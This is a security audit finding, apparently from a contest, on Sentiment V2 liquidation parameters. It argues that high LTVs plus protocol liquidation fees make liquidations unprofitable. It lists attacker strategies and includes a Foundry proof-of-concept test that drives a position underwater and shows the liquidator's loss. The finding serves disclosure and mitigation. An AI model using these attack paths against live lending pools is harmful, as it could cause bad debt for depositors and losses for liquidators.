Joyous Cream Coyote

High

# Protocol liquidation fees can cause liquidators to lose instead of profit.

### Summary

With the current parameters' range introduced by the protocol, certain positions cause losses to liquidators when they become liquidatable. Such positions can easily become bad debt and hurt protocol depositors.

### Root Cause

To handle liquidations, Sentiment V2 is using three different parameters. 1- Liquidation Discount, 2- Liquidation Fees, and 3- LTVs . While the first two are constant and set by protocol's owner, the third can be set by each pool's owner and is set for each pair of assets. According to the docs, these values are going to be:
```text
   minLtv: 10%
   maxLtv: 98%
   liquidationFee: 20%-30%
   liquidationDiscount: 10%
```
The health check is done by the pool according to the formula below:
```math
\Sigma_i D_i \times \Sigma_j\frac{w_j}{ltv_{ij}}
```
Where `D` is debt, `w` is weight of the collateral provided to borrow, and `LTV` is loan to value for the two assets.
As an example, if all of the collateral is provided through one asset, and the LTV for that asset against the borrowing asset is 0.9, we need at least this amount of collateral:
```math
Debt \times \frac{1}{0.9} = 1.11 \times Debt
```
The liquidation discount is calculated in [`RiskModule:156`](https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/0b472f4bffdb2c7432a5d21f1636139cc01561a5/protocol-v2/src/RiskModule.sol#L156), which calculates the `maxSeizedAssetValue`. However, if there is less collateral than `1/1-discount` as collateral left in the position, the liquidator's profit is bound to that. This means that if `discount = 0.1`, then `1/0.9 = 1.11` which is equal to the ratio where an asset with LTV of 90% becomes liquidatable. Therefore, any LTV higher than 90% would reduce liquidators profit.
Furthermore, the protocol's liquidation fee is calculated on the overall paid assets to the liquidators, which takes precedence over liquidators' profit. All of this can cause liquidations in certain situations to become unprofitable and render this mechanism useless.

### Internal pre-conditions

The protocol parameters - liqudation fees, discount, and LTV ranges - are set as mentioned in the docs. 

### External pre-conditions

N/A

### Attack Path

There are several way that an attacker can take advantage of this:
1- Users can "insure" their assets against the base pool asset for free if LTV is above 90 percent, while it is possible for their position to get liquidated, liquidators might not want to do so as they are not profiting. Therefore, borrowing base asset against collateral and can keep whichever grows more in price over time.
2- Attacker creates a pool and liquidatable positions in pools with max LTV of 98 percent, while the attacker is only losing 2-3 percent on each liquidation, the liquidators are paying full fees to the protocol. This can break automated keeper bots if they do not calculate profits correctly before liquidation.
keeper bots
3- Pool owners can grief their depositors and cause them bad debt by setting LTV to high.

### Impact

The impacts are also explained in the attack path.

### PoC

The final results are:
```text
        // -> transfered to liquidator: 8.421e18
        // -> transfered to protocol owner: 2.105e18

        // -> liquidator transferred to the protocol: 1e19
        // -> the loss for liquidator = 1e19 - 8.421e18 = 1.579e+18 Eth
```
The PoC:
```solidity
/**
        minLtv: 10%
        maxLtv: 98%
        liquidationFee: 20%
        liquidationDiscount: 10%
     */            
    function testLiquidationMoneyLoss() public {
        address attacker = makeAddr("Attacker");
        address mockPoolOwner = makeAddr("Victim");
        address liquidator = makeAddr("Liquidator");

        vm.startPrank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset3Oracle)); // 1:1 with Eth
        riskEngine.setOracle(address(asset2), address(asset3Oracle)); // 1:1 with Eth
        vm.stopPrank();

        MockERC20 borrowAsset = asset1; 
        MockERC20 collateralAsset = asset2;
        uint256 amountOfAsset = 1_000 ether;
        uint256 vicPoolId;
        address attPosition;
        bytes memory data;
        Action memory action;

        /**
        * =============================
        *           SETUP
        * =============================
         */
        {
            // == Minting assets to actors
            borrowAsset.mint(attacker, amountOfAsset);
            collateralAsset.mint(attacker, amountOfAsset);

            borrowAsset.mint(mockPoolOwner, amountOfAsset);
            collateralAsset.mint(mockPoolOwner, amountOfAsset);

            borrowAsset.mint(liquidator, amountOfAsset);
            // == Finish minting assets

            // == Making the position
            vm.startPrank(attacker);
            bytes32 salt = bytes32(uint256(98));
            address owner = attacker;
            data = abi.encodePacked(owner, salt);
            (attPosition,) = protocol.portfolioLens().predictAddress(owner, salt);
            action = Action({ op: Operation.NewPosition, data: data });
            positionManager.process(attPosition, action);
            vm.stopPrank();

            vm.startPrank(positionManager.owner());
            positionManager.toggleKnownAsset(address(borrowAsset));
            // positionManager.toggleKnownAsset(address(collateralAsset)); // Already a known asset
            vm.stopPrank();
            // == Finish making the position

            // == mockPoolOwner making the pool
            // // ==== Setting the rateModel
            address rateModel = address(new LinearRateModel(1e18, 2e18));
            bytes32 RATE_MODEL_KEY = 0xc6e8fa81936202e651519e9ac3074fa4a42c65daad3fded162373ba224d6ea96;
            vm.prank(protocolOwner);
            registry.setRateModel(RATE_MODEL_KEY, rateModel);
            // // ==== Finished Setting the rate model
            vm.startPrank(mockPoolOwner);
            vicPoolId = pool.initializePool(
                mockPoolOwner, // owner
                address(borrowAsset), // asset to use
                1e30, // pool cap
                RATE_MODEL_KEY // rate model key in registry
                );
            // // ==== Setting the LTV
            riskEngine.requestLtvUpdate(vicPoolId, address(collateralAsset), 0.95e18); // Using the same asset to borrow one in this case
            riskEngine.acceptLtvUpdate(vicPoolId, address(collateralAsset));
            // // ==== Finish setting the LTv
            vm.stopPrank();
            // == Finished making the pool

            // == Attacker setting up the position
            vm.startPrank(attacker);
            data = abi.encodePacked(address(collateralAsset));
            action = Action({ op: Operation.AddToken, data: data });
            positionManager.process(
                attPosition,
                action
            );
            collateralAsset.transfer(address(attPosition), amountOfAsset/2);
            vm.stopPrank();
            // == Finish Attacker setting up the position
        }

        /**
        * =============================
        *           EXPLOIT
        * =============================
         */

        logPoolData(vicPoolId, attPosition);

        vm.startPrank(attacker);
        borrowAsset.approve(address(pool), amountOfAsset/5);
        pool.deposit(vicPoolId, amountOfAsset/5, attacker);
        vm.stopPrank();

        logPoolData(vicPoolId, attPosition);

        vm.startPrank(attacker);
        data = abi.encodePacked(vicPoolId, amountOfAsset/100);
        action = Action({ op: Operation.Borrow, data: data });
        positionManager.process(
            attPosition,
            action
        );
        borrowAsset.transfer(attPosition, amountOfAsset/50);
        vm.stopPrank();

        logPoolData(vicPoolId, attPosition);

        (uint256 totalAssetValue, uint256 totalDebtValue, uint256 minReqAmount) = RiskModule(riskEngine.riskModule()).getRiskData(attPosition);
        
        console2.log(totalAssetValue);
        console2.log(totalDebtValue);
        console2.log(minReqAmount);

        uint256 amountOfCollateralToTransfer = collateralAsset.balanceOf(attPosition) * (totalAssetValue - minReqAmount)/totalAssetValue + 10;

        vm.prank(address(positionManager));
        Position(payable(attPosition)).transfer(address(0), address(collateralAsset), amountOfCollateralToTransfer); // 1- Gets the position slightly underwater

        (totalAssetValue, totalDebtValue, minReqAmount) = RiskModule(riskEngine.riskModule()).getRiskData(attPosition);

        {
            console2.log(totalAssetValue);
            console2.log(totalDebtValue);
            console2.log(minReqAmount);
        }

        // Liquidator

        DebtData[] memory debts = new DebtData[](1);
        AssetData[] memory assets = new AssetData[](1);
        {
            DebtData memory debtData = DebtData({ poolId: vicPoolId, amt: totalDebtValue }); // Works since the asset is 1:1 with ETH according to test oracles
            debts[0] = debtData;
            AssetData memory assetData = AssetData({ asset: address(collateralAsset), amt: totalAssetValue }); // Works since the asset is 1:1 with ETH according to test oracles
            assets[0] = assetData;
        }

        vm.startPrank(liquidator);
        borrowAsset.approve(address(positionManager), type(uint256).max);
        collateralAsset.approve(address(positionManager), type(uint256).max);
        positionManager.liquidate(
            attPosition,
            debts,
            assets
        );
        vm.stopPrank();

        // -> transfered to liquidator: 8.421e18
        // -> transfered to protocol owner: 2.105e18

        // -> liquidator transferred to the protocol: 1e19
        // -> the loss for liquidator = 1e19 - 8.421e18 = 1.579e+18 Eth
    }
```

### Mitigation

Sanitizations such as `MaxLTV < 1 - discount` can be explored. Also the liquidation fee should be somehow a percentage of the profit liquidators make and should never exceed their profit.